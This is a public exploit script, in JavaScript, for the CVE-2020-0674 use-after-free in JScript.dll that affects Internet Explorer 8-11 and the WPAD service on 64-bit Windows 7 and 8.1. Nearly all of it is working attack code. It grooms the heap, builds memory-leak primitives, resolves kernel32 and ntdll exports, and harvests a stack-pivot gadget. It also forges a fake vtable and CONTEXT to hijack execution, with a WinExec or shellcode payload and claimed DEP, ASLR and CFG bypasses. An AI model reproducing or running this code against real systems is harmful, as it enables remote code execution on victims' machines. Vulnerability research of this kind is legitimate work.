# Exploit Title: Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free
# Date: 2021-05-04
# Exploit Author: deadlock (Forrest Orr)
# Vendor Homepage: https:
# Software Link: https:
# Versions: IE 8-11 (64-bit) as well as the WPAD service (64-bit) on Windows 7 and 8.1 x64
# Tested on: Windows 7 x64, Windows 8.1 x64
# CVE: CVE-2020-0674
# Bypasses: DEP, ASLR, CFG
# Original (IE-only/Windows 7-only) exploit credits: maxpl0it
# Full explain chain writeup: https:
var PayloadType = "shellcode";
var CommandStr = "\u3a63\u775c\u6e69\u6f64\u7377\u6e5c\u746f\u7065\u6461\u652e\u6578";
var WindowsVersion = 8.1;
var PacFile = false;
var EnableDebug = false;
var EnableTimers = false;
var AlertOutput = false;
var SortArray = new Array();
for(var i = 0; i <= 150; i++) SortArray[i] = [0, 0];
var TimeStart;
var ReadCount;
var ScriptTimeStart = new Date().getTime();
function StartTimer() {
ReadCount = 0;
TimeStart = new Date().getTime();
}
function EndTimer(Message) {
var TotalTime = (new Date().getTime() - TimeStart);
if(EnableTimers) {
if(AlertOutput) {
alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
else {
console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
}
}
function DebugLog(Message) {
if(EnableDebug) {
if(AlertOutput) {
alert(Message);
}
else {
console.log(Message);
}
}
}
var UntrackedVarSet;
var VarSpray;
var VarSprayCount = 20000;
var NameListAnchors;
var NameListAnchorCount = 0;
var SortDepth = 0;
function GlitchedComparator(Untracked1, Untracked2) {
Untracked1 = VarSpray[SortDepth*2];
Untracked2 = VarSpray[SortDepth*2 + 1];
if(SortDepth >= 150) {
VarSpray = new Array();
CollectGarbage();
UntrackedVarSet.push(Untracked1);
UntrackedVarSet.push(Untracked2);
}
else {
SortDepth += 1;
try {
SortArray[SortDepth].sort(GlitchedComparator);
}
catch(ex) {
VarSpray = new Array();
CollectGarbage();
}
UntrackedVarSet.push(Untracked1);
UntrackedVarSet.push(Untracked2);
}
return 0;
}
function NewUntrackedVarSet() {
SortDepth = 0;
VarSpray = new Array();
NameListAnchors = new Array();
UntrackedVarSet = new Array();
for(var i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object();
for(var i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object();
CollectGarbage();
SortArray[0].sort(GlitchedComparator);
}
var AnchorObjectsBackup;
var LeakedAnchorIndex = -1;
var SizerPropName = Array(570).join('A');
var MutableVar;
var ReClaimNameList;
var InitialReClaim = true;
function ReClaimIndexNameList(Value, PropertyName) {
CollectGarbage();
AnchorObjectsBackup[LeakedAnchorIndex] = null;
CollectGarbage();
AnchorObjectsBackup[LeakedAnchorIndex] = new Object();
AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1;
AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBBBB"] = 1;
AnchorObjectsBackup[LeakedAnchorIndex]["\u0005"] = 1;
AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value;
ReadCount++;
}
function ReClaimBackupNameLists(Value, PropertyName) {
var PrecisionReClaimAllocCount = 500;
CollectGarbage();
if(InitialReClaim) {
AnchorObjectsBackup[LeakedAnchorIndex] = null;
InitialReClaim = false;
PrecisionReClaimAllocCount -= 1;
AnchorObjectsBackup[LeakedAnchorIndex] = new Object();
}
for(var i = 0; i < PrecisionReClaimAllocCount; i++) {
if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = null;
}
CollectGarbage();
for(var i = 0; i < PrecisionReClaimAllocCount; i++) {
if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = new Object();
AnchorObjectsBackup[i][SizerPropName] = 1;
AnchorObjectsBackup[i]["BBBBBBBBBBB"] = 1;
AnchorObjectsBackup[i]["\u0005"] = 1;
AnchorObjectsBackup[i][PropertyName] = Value;
}
ReadCount++;
}
function CreateVar64(Type, ObjPtrLow, ObjPtrHigh, NextPtrLow, NextPtrHigh) {
var CharCodes = new Array();
CharCodes.push(
Type, 0, 0, 0,
ObjPtrLow & 0xffff, (ObjPtrLow >> 16) & 0xffff, ObjPtrHigh & 0xffff, (ObjPtrHigh >> 16) & 0xffff,
NextPtrLow & 0xffff, (NextPtrLow >> 16) & 0xffff, NextPtrHigh & 0xffff, (NextPtrHigh >> 16) & 0xffff);
return String.fromCharCode.apply(null, CharCodes);
}
function LeakByte64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0));
return (MutableVar.length >> 15) & 0xff;
}
function LeakWord64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0));
return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
}
function LeakDword64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0));
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0));
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LowWord + (HighWord << 16);
}
function LeakQword64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0));
var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0));
var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 6, Address.high, 0, 0));
var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 8, Address.high, 0, 0));
var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16));
}
function LeakObjectAddress64(ObjVarAddress, ObjVarValue) {
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 2, ObjVarAddress.high, 0, 0));
var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 4, ObjVarAddress.high, 0, 0));
var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 6, ObjVarAddress.high, 0, 0));
var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 8, ObjVarAddress.high, 0, 0));
var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
var DerefObjVarAddress = MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16) + 8);
return LeakQword64(DerefObjVarAddress);
}
function ResolveExport64(ModuleBase, TargetExportNameTable) {
var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c));
var EATRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x88));
if(EATRva) {
var TotalExports = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x14));
var AddressRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x1C));
var NameRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x20));
var OrdinalRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x24));
var MaxIndex = TotalExports;
var MinIndex = 0;
var CurrentIndex = Math.floor(TotalExports / 2);
var TargetTableIndex = 0;
var BinRes = 0;
var TrailingNullWord = false;
if((TargetExportNameTable[TargetExportNameTable.length - 1] & 0xFFFFFF00) == 0) {
TrailingNullWord = true;
}
while(TotalExports) {
var CurrentNameRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + NameRvas + 4*CurrentIndex));
while (TargetTableIndex < TargetExportNameTable.length) {
var CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex))));
var TargetExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF);
var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
var FinalTableIndex = false;
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
FinalTableIndex = true;
}
BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord);
if(!BinRes) {
TargetExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16);
CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)) + 2));
SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
if(TrailingNullWord && FinalTableIndex) {
var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex));
var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal)));
return MainExport;
}
BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord);
if(!BinRes) {
if(FinalTableIndex) {
var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex));
var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal)));
return MainExport;
}
TargetTableIndex++;
}
else {
TargetTableIndex = 0;
break;
}
}
else {
TargetTableIndex = 0;
break;
}
}
if(BinRes == 1) {
if(MaxIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit max");
break;
}
MaxIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2);
}
else if (BinRes == -1) {
if(MinIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit min");
break;
}
MinIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2);
}
if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) {
DebugLog("Failed to find export: current, min and max indexes are all equal");
break;
}
}
}
return MakeQword(0, 0);
}
function SelectRandomImport64(ModuleBase, TargetModuleNameTable) {
var ExtractedAddresss = MakeQword(0, 0);
var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c));
var ImportDataDirAddress = MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x90);
var ImportRva = LeakDword64(ImportDataDirAddress);
var ImportSize = LeakDword64(MakeQword(ImportDataDirAddress.high, ImportDataDirAddress.low + 0x4));
var DescriptorAddress = MakeQword(ModuleBase.high, ModuleBase.low + ImportRva);
while(ImportSize != 0) {
var NameRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0xc));
if(NameRva != 0) {
if(StrcmpLeak64(TargetModuleNameTable, MakeQword(ModuleBase.high, ModuleBase.low + NameRva))) {
var ThunkRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0x10));
ExtractedAddresss = LeakQword64(MakeQword(ModuleBase.high, ModuleBase.low + ThunkRva + 0x18));
break;
}
ImportSize -= 0x14;
DescriptorAddress.low += 0x14;
}
else {
break;
}
}
return ExtractedAddresss;
}
function DiveModuleBase64(Address) {
Address.low = (Address.low & 0xFFFF0000) + 0x4e;
while(true) {
if(LeakWord64(Address) == 0x6854) {
if(LeakWord64(MakeQword(Address.high, Address.low + 2)) == 0x7369) {
return MakeQword(Address.high, Address.low - 0x4e);
}
}
Address.low -= 0x10000;
}
return MakeQword(0, 0);
}
function BaseFromImports64(ModuleBase, TargetModuleNameTable) {
var RandomImportAddress = SelectRandomImport64(ModuleBase, TargetModuleNameTable);
if(RandomImportAddress.low || RandomImportAddress.high) {
return DiveModuleBase64(RandomImportAddress);
}
return MakeQword(0, 0);
}
function NullSanitizeWord(StrWord) {
var Sanitized = 0;
if(StrWord != 0) {
if((StrWord & 0x00FF) == 0) {
Sanitized = 0;
}
else {
Sanitized = StrWord;
}
}
return Sanitized;
}
function BinaryCmp(TargetNum, CmpNum) {
if(TargetNum == CmpNum) {
return 0;
}
while(true) {
if((TargetNum & 0xff) > (CmpNum & 0xff)) {
return -1;
}
else if((TargetNum & 0xff) < (CmpNum & 0xff)) {
return 1;
}
TargetNum = TargetNum >> 8;
CmpNum = CmpNum >> 8;
}
}
function DwordToUnicode(Dword) {
var Unicode = String.fromCharCode(Dword & 0xFFFF);
Unicode += String.fromCharCode(Dword >> 16);
return Unicode;
}
function QwordToUnicode(Value) {
return String.fromCharCode.apply(null, [Value.low & 0xffff, (Value.low >> 16) & 0xffff, Value.high & 0xffff, (Value.high >> 16) & 0xffff]);
}
function TableToUnicode(Table) {
var Unicode = "";
for(var i = 0; i < Table.length; i++) {
Unicode += DwordToUnicode(Table[i]);
}
return Unicode;
}
function DwordArrayToBytes(DwordArray) {
var ByteArray = [];
for(var i = 0; i < DwordArray.length; i++) {
ByteArray.push(DwordArray[i] & 0xffff);
ByteArray.push((DwordArray[i] & 0xffff0000) >> 16);
}
return String.fromCharCode.apply(null, ByteArray);
}
function StrcmpLeak64(StrDwordTable, LeakAddress) {
var TargetTableIndex = 0;
while (TargetTableIndex < StrDwordTable.length) {
var LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex)));
var SanitizedStrWord = NullSanitizeWord(LeakStrWord);
var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF);
if(TableWord == SanitizedStrWord) {
LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex) + 2));
SanitizedStrWord = NullSanitizeWord(LeakStrWord);
TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16);
if(TableWord == SanitizedStrWord) {
if((TargetTableIndex + 1) >= StrDwordTable.length) {
return true;
}
TargetTableIndex++;
}
else {
break;
}
}
else {
break;
}
}
return false;
}
function MakeDouble(High, Low) {
return Int52ToDouble(QwordToInt52(High, Low));
}
function QwordToInt52(High, Low) {
if ((Low !== Low|0) && (Low !== (Low|0)+4294967296)) {
DebugLog ("Low out of range: 0x" + Low.toString(16));
}
if (High !== High|0 && High >= 1048576) {
DebugLog ("High out of range: 0x" + High.toString(16));
}
if (Low < 0) {
Low += 4294967296;
}
return High * 4294967296 + Low;
}
function Int52ToDouble(Value) {
var Low = Value | 0;
if (Low < 0) {
Low += 4294967296;
}
var High = Value - Low;
High /= 4294967296;
if ((High < 0) || (High >= 1048576)) {
DebugLog("Fatal error - not an int52: 0x" + Value.toString(16));
Loew = 0;
High = 0;
}
return { low: Low, high: High };
}
function MakeQword(High, Low) {
return { low: Low, high: High };
}
function HarvestGadget64(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) {
var MaxHighAddress = MakeQword(HintExportAddress.high, (HintExportAddress.low + MagicOffset + MaxDelta));
var MinLowAddress = MakeQword(HintExportAddress.high, ((HintExportAddress.low + MagicOffset) - MaxDelta));
var LeakAddress = MakeQword(HintExportAddress.high, HintExportAddress.low + MagicOffset);
var LeakFunc = LeakDword64;
var InitialAddress = LeakAddress;
var IndexDelta;
if(MinLowAddress.low < HintExportAddress.low) {
MinLowAddress.low = HintExportAddress.low;
}
DebugLog("Hunting for gadget 0x" + Data.toString(16) + " between 0x" + MinLowAddress.high.toString(16) + MinLowAddress.low.toString(16) + " and 0x" + MaxHighAddress.high.toString(16) + MaxHighAddress.low.toString(16) + " starting from 0x" + LeakAddress.high.toString(16) + LeakAddress.low.toString(16) + " based on hint export at 0x" + HintExportAddress.high.toString(16) + HintExportAddress.low.toString(16));
if(DataMask == 0x0000FFFF) {
LeakFunc = LeakWord64;
}
var LeakedData = LeakFunc(LeakAddress);
if((~LeakedData & DataMask) == ~Data) {
DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16));
}
else {
var HighAddress = MakeQword(LeakAddress.high, LeakAddress.low + 1);
var LowAddress = MakeQword(LeakAddress.high, LeakAddress.low - 1);
LeakAddress = MakeQword(0, 0);
while(LowAddress.low >= MinLowAddress.low || HighAddress.low < MaxHighAddress.low) {
if(LowAddress.low >= MinLowAddress.low) {
LeakedData = LeakFunc(LowAddress);
if((~LeakedData & DataMask) == ~Data) {
DebugLog("Found gadget from scan below magic at 0x" + LowAddress.high.toString(16) + LowAddress.low.toString(16));
LeakAddress = LowAddress;
break;
}
LowAddress.low -= 1;
}
if(HighAddress.low < MaxHighAddress.low) {
LeakedData = LeakFunc(HighAddress);
if((~LeakedData & DataMask) == ~Data) {
LeakAddress = HighAddress;
IndexDelta = (LeakAddress.low - InitialAddress.low);
DebugLog("Found gadget from scan above magic at 0x" + HighAddress.high.toString(16) + HighAddress.low.toString(16) + " (index " + IndexDelta.toString(10) + ")");
break;
}
HighAddress.low += 1;
}
}
}
return LeakAddress;
}
function MakeContextDEPBypass64(NewRSP, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeSize, WritableAddress) {
return "\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0003\u0010" +
"\u0000\u0000" +
"\u0033" +
"\u0000" +
"\u0000" +
"\u0000" +
"\u0000" +
"\u002b" +
"\u0246\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
QwordToUnicode(ShellcodeAddress) +
QwordToUnicode(ShellcodeSize) +
"\u0000\u0000\u0000\u0000" +
QwordToUnicode(NewRSP) +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0040\u0000\u0000\u0000" +
QwordToUnicode(WritableAddress) +
"\u0000\u0000\u0000\u0000" +
QwordToUnicode(ArtificialStackAddress) +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
QwordToUnicode(StackPivotAddress);
}
function MakeContextWinExec64(CommandLineAddress, StackPtr, WinExecAddress) {
return "\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0003\u0010" +
"\u0000\u0000" +
"\u0033" +
"\u0000" +
"\u0000" +
"\u0000" +
"\u0000" +
"\u002b" +
"\u0246\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
QwordToUnicode(CommandLineAddress) +
"\u0005\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
QwordToUnicode(StackPtr) +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
"\u0000\u0000\u0000\u0000" +
QwordToUnicode(WinExecAddress);
}
function CreateFakeVtable(NtContinueAddress) {
var FakeVtable = "";
var Padding = [];
for (var i = 0; i < (0x138 / 4); i++) {
Padding[i] = 0x11111111;
}
FakeVtable += DwordArrayToBytes(Padding);
FakeVtable += DwordArrayToBytes([NtContinueAddress.low]);
FakeVtable += DwordArrayToBytes([NtContinueAddress.high]);
for (var i = (0x140 / 4); i < (0x400 / 4); i++) {
Padding[i] = 0x22222222;
}
FakeVtable += DwordArrayToBytes(Padding);
return FakeVtable;
}
var LFHBlocks = new Array();
function Exploit() {
if(PayloadType != "shellcode" && PayloadType != "winexec") {
DebugLog("Fatal error: invalid payload type");
return 0;
}
if(WindowsVersion <= 7) {
ReClaimNameList = ReClaimIndexNameList;
NameListAnchorCount = 5000;
}
else {
ReClaimNameList = ReClaimBackupNameLists;
if(PacFile) {
NameListAnchorCount = 10000;
}
else {
NameListAnchorCount = 400;
}
}
CollectGarbage();
for(var i = 0; i < 50; i++) {
Temp = new Object();
Temp[Array(570).join('A')] = 1;
LFHBlocks.push(Temp);
}
NewUntrackedVarSet();
DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10));
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][SizerPropName] = 1;
NameListAnchors[i]["BBBBBBBBBBB"] = 1;
NameListAnchors[i]["\u0005"] = 1;
NameListAnchors[i]["C"] = i;
}
AnchorObjectsBackup = NameListAnchors;
var LeakedVvalAddress = 0;
var TypeConfusionAligned = false;
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] % 1 != 0) {
LeakedVvalAddress = (UntrackedVarSet[i] / 4.9406564584124654E-324);
TypeConfusionAligned = true;
break;
}
}
if(!TypeConfusionAligned) {
DebugLog("Leaked anchor object type confusion re-claim failed: no untracked var aligned with type confusion float/next VVAL pointer");
return 0;
}
LeakedVvalAddress = Int52ToDouble(LeakedVvalAddress);
if(!LeakedVvalAddress.high && !LeakedVvalAddress.low) {
DebugLog("Leaked anchor object type confusion re-claim failed: conversion of leaked VVAL address (type confusion successful) to double failed (invalid 52-bit integer)");
return 0;
}
var PrimaryVvalPropName = "AAAAAAAA";
for(var i = 0; i < 46; i++) {
PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low, LeakedVvalAddress.high, 0, 0);
}
while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A";
NewUntrackedVarSet();
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
var LeakedVvalVar;
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + "");
LeakedVvalVar = UntrackedVarSet[i];
break;
}
}
DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16));
ReClaimNameList(0x11, "A");
if(LeakedVvalVar + "" != 0x11) {
DebugLog("Failed to extract final VVAL index via re-claim");
return 0;
}
ReClaimNameList(0, CreateVar64(0x3, 0x22, 0, 0, 0));
PrimaryVvalPropName = "AAAAAAAA";
for(var i = 0; i < 46; i++) {
PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low + 0x40, LeakedVvalAddress.high, 0, 0);
}
while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A";
NewUntrackedVarSet();
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
if(UntrackedVarSet[i] + "" == 0x22) {
MutableVar = UntrackedVarSet[i];
break;
}
}
}
ReClaimNameList(0, CreateVar64(0x3, 0x33, 0, 0, 0));
if(MutableVar + "" != 0x33) {
DebugLog("Failed to verify mutable variable modification via re-claim");
return 0;
}
var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40);
if(LeakByte64(MutableVarAddress) != 0x8) {
DebugLog("Memory leak test failed");
return 0;
}
var DissectedObj = new Object();
var ObjectAddress = LeakObjectAddress64(LeakedVvalAddress, DissectedObj);
var VtableAddress = LeakQword64(ObjectAddress);
var JScriptBase = DiveModuleBase64(VtableAddress);
if(!JScriptBase.low && !JScriptBase.high) {
DebugLog("Failed to leak JScript.dll base address");
return 0;
}
else {
DebugLog("Leaked JScript base address: 0x" + JScriptBase.high.toString(16) + JScriptBase.low.toString(16));
}
var Kernel32Base = BaseFromImports64(JScriptBase, [0x4e52454b, 0x32334c45]);
if(!Kernel32Base.low && !Kernel32Base.high) {
DebugLog("Kernel32.dll base resolution via Jscript.dll imports failed.");
return 0;
}
else {
DebugLog("Leaked KERNEL32.DLL base address: 0x" + Kernel32Base.high.toString(16) + Kernel32Base.low.toString(16));
}
var VirtualProtectAddress;
var WinExecAddress;
if(PayloadType == "shellcode") {
VirtualProtectAddress = ResolveExport64(Kernel32Base, [ 0x74726956, 0x506c6175, 0x65746f72, 0x00007463 ]);
if(!VirtualProtectAddress.low && !VirtualProtectAddress.high) {
DebugLog("Failed to resolve address of KERNEL32.DLL!VirtualProtect");
return 0;
}
DebugLog("Successfully resolved address of VirtualProtect to: 0x" + VirtualProtectAddress.high.toString(16) + VirtualProtectAddress.low.toString(16));
}
else if(PayloadType == "winexec") {
WinExecAddress = ResolveExport64(Kernel32Base, [0x456e6957]);
if(!WinExecAddress.low && !WinExecAddress.high) {
DebugLog("Failed to resolve address of KERNEL32.DLL!WinExec");
return 0;
}
}
var MsvcrtBase = BaseFromImports64(JScriptBase, [0x6376736d, 0x642e7472]);
if(!MsvcrtBase.low && !MsvcrtBase.high) {
DebugLog("Msvcrt.dll base resolution via Jscript.dll imports failed.");
return 0;
}
var NtdllBase = BaseFromImports64(MsvcrtBase, [0x6c64746e, 0x6c642e6c]);
if(!NtdllBase.low && !NtdllBase.high) {
DebugLog("Ntdll.dll base resolution via Msvcrt.dll imports failed.");
return 0;
}
var NtContinueAddress = ResolveExport64(NtdllBase, [0x6f43744e, 0x6e69746e]);
if(!NtContinueAddress.low && !NtContinueAddress.high) {
DebugLog("Failed to resolve address of NTDLL.DLL!NtContinue");
return 0;
}
var CSessionAddress = LeakQword64(MakeQword(ObjectAddress.high, ObjectAddress.low + 24));
var LeakedStackPtr = LeakQword64(MakeQword(CSessionAddress.high, CSessionAddress.low + 80));
LeakedStackPtr.low += 0x8;
var FakeVtable = CreateFakeVtable(NtContinueAddress);
FakeVtable = FakeVtable.substr(0, FakeVtable.length);
var FakeVtableAddress = LeakObjectAddress64(LeakedVvalAddress, FakeVtable);
var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40);
var FakeObjAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 96);
var Context;
if(PayloadType == "shellcode") {
var ShellcodeStr = TableToUnicode(Shellcode);
var ShellcodeLen = MakeQword(0, (ShellcodeStr.length * 2));
ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length);
var ShellcodeAddress = LeakObjectAddress64(LeakedVvalAddress, ShellcodeStr);
var Padding = Array(0x100000 + 1).join('\u0101');
var ArtificialStackStr = Padding;
ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.low]);
ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.high]);
ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.low]);
ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.high]);
ArtificialStackStr = ArtificialStackStr.substr(0, ArtificialStackStr.length);
var ArtificialStackAddress = LeakObjectAddress64(LeakedVvalAddress, ArtificialStackStr);
ArtificialStackAddress.low += ((ArtificialStackStr.length * 2) - 0x10);
var WritableStr = "";
WritableStr += DwordArrayToBytes([0]);
WritableStr = WritableStr.substr(0, WritableStr.length);
var WritableAddress = LeakObjectAddress64(LeakedVvalAddress, WritableStr);
var StackPivotAddress;
var HintExportAddress = ResolveExport64(MsvcrtBase, [ 0x686e6174, 0x00000066 ]);
var MagicOffset;
if(!HintExportAddress.low && !HintExportAddress.high) {
DebugLog("Failed to resolve address of MSVCRT.DLL!tanhf");
return 0;
}
if(WindowsVersion <= 7) {
MagicOffset = 0x2da + 1;
}
else {
MagicOffset = 0x11f + 19;
}
StackPivotAddress = HarvestGadget64(HintExportAddress, 0x500, 0xC3E38B49, 0x00000000FFFFFFFF, MagicOffset);
if(!StackPivotAddress.low && !StackPivotAddress.high) {
DebugLog("Failed to resolve address of stack pivot gadget");
return 0;
}
DebugLog("Gadget address of stack pivot: 0x" + StackPivotAddress.high.toString(16) + StackPivotAddress.low.toString(16));
Context = MakeContextDEPBypass64(LeakedStackPtr, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeLen, WritableAddress);
DebugLog("Artificial stack pointer address at 0x" + ArtificialStackAddress.high.toString(16) + " " + ArtificialStackAddress.low.toString(16) +" shellcode at 0x" + ShellcodeAddress.high.toString(16) + ShellcodeAddress.low.toString(16) + " CONTEXT pointer: 0x" + FakeObjAddress.high.toString(16) + FakeObjAddress.low.toString(16));
}
else if(PayloadType == "winexec") {
CommandStr = CommandStr.substr(0, CommandStr.length);
var CommandStrAddress = LeakObjectAddress64(LeakedVvalAddress, CommandStr);
Context = MakeContextWinExec64(CommandStrAddress, LeakedStackPtr, WinExecAddress);
}
var RipHijackPropName = CreateVar64(0x81, LeakedVvalAddress.low + 96, LeakedVvalAddress.high, 0, 0) + CreateVar64(0, FakeVtableAddress.low, FakeVtableAddress.high, 0, 0) + Context;
ReClaimNameList(0, RipHijackPropName);
